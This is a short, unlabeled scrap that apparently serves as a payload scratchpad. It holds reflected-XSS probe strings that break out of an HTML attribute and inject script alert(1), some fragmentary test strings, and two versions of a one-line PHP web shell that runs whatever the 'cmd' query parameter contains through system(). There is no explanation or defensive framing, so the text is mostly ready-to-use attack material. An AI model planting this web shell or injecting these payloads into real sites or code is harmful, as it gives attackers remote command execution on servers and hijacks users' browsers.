aa"><script>alert(1)</script>

aa"><script>alert(1)</script>

aaaa

a">ale

a">alert(1)a

<?php if(isset($_GET['cmd'])){ system($_GET['cmd'].'2>&1');}?>

<?php if(isset($_GET['cmd'])) { system($_GET['cmd'] . ' 2>&1'); } ?>